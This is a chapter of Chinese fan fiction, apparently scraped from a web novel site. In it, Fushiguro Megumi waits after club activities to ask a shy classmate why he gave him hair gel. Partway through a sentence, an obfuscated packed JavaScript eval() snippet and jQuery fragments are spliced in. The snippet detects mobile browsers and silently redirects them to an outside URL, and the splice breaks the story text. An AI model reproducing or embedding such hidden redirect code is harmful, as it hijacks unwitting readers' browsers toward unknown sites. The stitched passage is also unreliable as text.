最后当然是没有写遗书。
毕竟孤江藏夏心里也很清楚,伏黑惠说有事情想要问他,应该就真的只是字面上的意思——所以,他的人身安全肯定是有保障的。
可这并不代表孤江藏夏不会紧张。
他心存忐忑地度过了上午的四节课,在任课老师宣布下课之后,便开始收拾桌面上的东西。
——虽然不知道伏黑哥放学以后准备找他说什么,但午休时间来了,这件事情暂且搁置一旁。
——现在最重要的事情,就是寻找新的午休圣地!
伏黑惠正准备打开从桌洞里面取出的便当盒,就看到坐在自己前面的黑发少年忽然站起身来,拎着一个被绿白相间的风吕敷包裹起来的便当盒,混迹在蜂拥而出的人潮里面离开了教室。
他望着那道背影,微眯起翡翠般的绿色眼眸,直至黑发少年消失在视野之中,才若无其事地低头开始吃午餐。
明明饭菜还是像往常一样美味,但他总觉得,胃口好像没有之前那么好了。
——就好像是……缺少了某种重要的调味料。
伏黑惠低垂着眼眸,面无表情地用筷子戳着便当盒里的米饭。
——谷野伸之介那个欺软怕硬的怂货现在为了避免被他找茬,都不敢待在教室里面午休了,一下课就和他的小团伙组队去了食堂,所以孤江藏夏此举肯定不是为了躲避谷野伸之介。
那他想要躲避的那个对象,毫无疑问只会是坐在他后面的自己。
不然以他害怕麻烦的性格,才不会轻易挪窝。
虽然每次看到孤江藏夏害怕的表情,伏黑惠都会察觉到心里有一种莫名的感情在蠢蠢欲动。
但他可是一次都没有伤害过那家伙,甚至还帮对方解围过几次……结果还是遭到了对方无声的排斥。
“嘁……”
“没良心。”
刺猬头少年撇了下嘴角,夹起一颗鱼丸送进嘴里狠狠咀嚼。
无所谓,反正他不在乎,一点都不在乎……今天放学以后,孤江藏夏就算再怎么想躲也只能硬着头皮留下来面对他——思及此,郁闷的心情总算有所好转,甚至还有了一丝期待。
*****
大概是因为天照大神庇佑,孤江藏夏非常顺利地找到了新的午休圣地——位于体育馆后面的一栋废弃教学楼的天台,因为那里距离教学区有一定距离,所以鲜少有人会来此午休。
唯一的遗憾就是再过一段时间,这栋废弃教学楼就要被拆除了。
孤江藏夏只能在心里祈祷,等到那个时候,伏黑惠已经对他失去了兴趣,不会再莫名其妙地对他投以视线了。
不过,像他这么无趣的人,就算不用祈祷,这件事情很快也会实现了吧?毕竟又不是每个人都像谷野伸之介那个渣滓一样喜欢欺压弱小、想要占尽便宜,伏黑惠就更不可能是这种人了。
明明对伏黑惠也称不上有多熟悉,可他竟能如此笃信对方的人品,看来他对伏黑惠的好感度是真的非常高了。
所以……如果伏黑惠真的只是想和他交朋友,他又该如何应对呢?要像以前一样继续逃避吗?
就在这时,孤江藏夏的脑海里面忽然闪过了一段回忆——
那是在去年的深秋时节,他和同样穿着病号服的蓝紫发少年并肩坐在医院的天台上。
“藏夏,一味地逃避,说不定就会错失重要的机会和珍贵的人。”
“有些机会和有些人,一旦错过,或许就再也追不回来了。”
“你也不希望余生都在遗憾中度过吧?”
“所以,下一次弦一郎来了,就别躲在床底了……说真的,一眼就能看到,之所以没有把你硬拖出来,也是因为他现在和你不熟。”
孤江藏夏:“……”
——还好他和真田弦一郎不熟,甚至现在也算不上熟悉。
孤江藏夏默默地打开便当盒,一边咀嚼食物一边神游天外。
——这话虽然带有一点私心,但确实也不无道理……所以,假如伏黑惠真的亲口说出了想要和他交朋友,那就不要再逃避了。
下定了决心之后,孤江藏夏的心情放松了不少。
吃完丰盛的午餐,他将校服外套脱下铺在水泥地面上,躺下小憩了片刻。等到时间差不多了,便踩着点回到了教室。
刚在位置落座,孤江藏夏就感受到了来自身后的极地寒气。
他缩了缩肩膀,心里默默地想,伏黑哥的心情好像很差的样子,难道又有哪个不长眼的家伙惹怒他了吗?整天生气对身体可不好啊,伏黑哥是不是该吃点降火气的东西?
——希望等到放学的时候,伏黑哥已经消气了。
——毕竟他躲又没办法躲,万一撞到了枪口上,就算想逃也跑不过伏黑哥,恐怕只能被捶成小饼干了吧?
*****
放学铃声响起,班里的同学们陆陆续续离开教室,或是去参加社团活动、或是前往课外补习私塾,当然也不乏归家党。
孤江藏夏拎着琴盒,欲言又止地看着刺猬头少年,心里却在欢呼雀跃。
——太好了,今天有社团活动!
——伏黑哥,要不长话短说吧?我还要去参加部活呢!
伏黑惠这才猛然想起,孤江藏夏每周二和周四都会去参加器乐社弦乐部的社团活动。
他愣了一下,平静道:“你先去参加社团活动吧,正好我值日结束也要去篮球部参加部活,结束以后我会去找你的。”
孤江藏夏心里发出了尖锐爆鸣,但那张被黑色口罩挡住的脸却根本看不到表情变化,“噢,好的……我的社团活动地点在——”
伏黑惠语气平淡,“我知道,综合楼五楼的弦乐部C组教室。”
孤江藏夏:“……”
——不是,你为什么会知道这种事情啊?而且刚才自己好像也没有说今天有社团活动,但是伏黑哥直接说出来了……仔细一想个中缘由,简直让人不寒而栗!
孤江藏夏神情恍惚地拎着琴盒走出了教室。
伏黑惠目送着黑发少年的背影消失在门口,然后转头看向不知为何呆呆站在一旁的值日搭档
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147059|163761||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不由皱起了眉,“别傻愣着了,开始吧。”
值日搭档:“噢噢……”
他拿着扫把扫了两下地,忍不住又抬头看向刺猬头少年,“伏黑,你刚才好像笑了?我们俩初一的时候同班一年,我都没见过你笑诶!”
伏黑惠微微一怔,随后若无其事道:“我们初一的时候,同班吗?”
值日搭档:“喂!”
*****
一个半小时的部活时间匆匆而逝,弦乐部C组的部活教室里面已然洒满了霞光。
伏黑惠背着书包站在教室的门口,伸手轻轻推开了虚掩着的木门,一眼就捕捉到了坐在教室角落的黑发少年。
他微阖着眼眸,怀里抱着一把精致的五弦琵琶,纤长的十指轻轻搭在弦上,似乎仍然沉浸在刚停歇不久的琵琶曲中,还没有回过神来。
大概是因为出了些汗,刘海黏在额头上不舒服,他抬手捋了一下额发,那张漂亮的脸在这一瞬间失去了刘海和黑色口罩的遮挡,一览无余地展现在了伏黑惠面前——眉形相对一般男生来说显得纤细了些,鼻子秀挺,浅粉色的嘴唇微微抿起,左边的唇角下有一颗小小的痣。
伏黑惠忍不住盯着那颗小痣看了几秒。
忽然,像是察觉到了来自他人的窥伺,孤江藏夏睁开了双眸,那双琥珀色猫瞳在夕阳下晶莹剔透,宛如漾着鎏金波光的湖面。
两人就这么猝不及防地对视了。
伏黑惠看到孤江藏夏瞳孔骤缩,那副受到惊吓的模样,让他看起来更像是炸毛的猫了。
“伏、伏黑同学,你来了……”
“嗯,我来了。”
孤江藏夏局促不安地站起身来,虽然很想直奔主题,但还是唯唯诺诺地问道:“要坐吗?”
伏黑惠摇头拒绝,“还是不了。”
他抬脚走向孤江藏夏,“时间不早了,我只是想问一个问题,问完就该回家了。”
孤江藏夏控制不住地往后退了一小步,脚后跟瞬间磕到了琴凳的凳腿,他这才恍然想起自己选择的是角落的座位,根本避无可避。
所幸,伏黑惠在距离他三步之遥的地方停了下来。
刺猬头少年说道:“你送的谢礼非常实用,不过,为什么要送我发胶?”
惴惴不安了一整天的孤江藏夏在松了口气的同时,也忍不住有些无语。
——就这?这种问题值得特意把他留下来询问吗?直接在纸条上面问一下不就好了?
当然,他是不敢对着伏黑惠直抒胸臆的,只能小心翼翼地说道:“因为……你不是每天都在用吗?”
伏黑惠叹了口气,带着几分无语淡淡道:“我的发型是天生的。”
孤江藏夏眼神震惊而茫然地看着伏黑惠的刺猬头,“……!!!”
伏黑惠见他这个表情,不禁也跟着沉默了——他在这家伙眼里,到底是个什么形象啊?
孤江藏夏回过神来,立刻弯腰道歉,“对不起!”
与此同时,伏黑惠犹豫着开口说道:“不信的话……要摸一摸吗?”